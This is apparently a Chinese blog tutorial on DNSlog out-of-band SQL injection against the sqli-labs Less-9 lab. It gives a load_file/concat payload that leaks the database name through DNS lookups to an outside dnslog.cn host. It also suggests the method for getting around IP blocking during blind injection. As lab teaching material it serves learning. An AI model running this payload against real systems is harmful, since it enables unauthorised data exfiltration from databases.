DNSlog回显

跟报错注入有异曲同工之处

报错注入是从返回的错误报告中获取得到的数据,而DNSlog是记录查询的记录获取信息。

http://127.0.0.1:88/Less-9/?id=1’ and (select load_file (concat(‘\\’,(select database()),‘.4dxa8g.dnslog.cn\xxx.txt’)))–+

报错利用是updatexml函数,而DNSlog是用的loadfile函数

那么有意思的来了,loadfile会会去网上读取文件。

我们不妨翻译一下下面的语句

concat('\\\\',(select database()),'.4dxa8g.dnslog.cn\\xxx.txt'))

concat是拼接函数,主要的是database()这个函数,会返回当前表的名称,我们加上Hello为当前表的名称.

后面的网址是DNSlog随机网址,一会实践将会更换.

最后的xxx.txt则是文件的名称,不用管有没有,就是意思一下

有两个\就会被转义为单个\

那么这句话会被转义为

\\hello.4dxa8g.dnslog.cn\xxx.txt

我们先来个简单的实践,看看DNSlog是否真的记得住

我们先去(www.dnslog.cn)去得到一个域名

然后我们把上面得到的语言改一下

\\hello.om7svv.dnslog.cn\xxx.txt

好了,打开浏览器试一下

没有文件,很正常

返回DNSlog看一下

好了,让我们进入实战

本教程基于Less-9实践(在虚拟机上试一下,在云服务器上似乎会被哪里给挡住了)

先去DNSlog获得域名

再将上面的语句中的域名改为得到的域名

?id=1’ and (select load_file (concat(‘\\’,(select database()),‘.要改的域名,前面的点必须保留\xxx.txt’)))–+

运行返回DNSlog查得到的结果

这便是DNSlog回显的方式了


我们在什么情况下使用回显呢?

  1. 在用时间盲注和布尔盲注时,达到一定限制封锁ip的情况(比方说sqlmap进行,然后封锁ip)
  2. 懒得用时间盲注和布尔盲注

如果没有正常回显结果,那么就有可能是权限不足,需要在my.ini中加入一下语句

secure_file_priv=“”

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值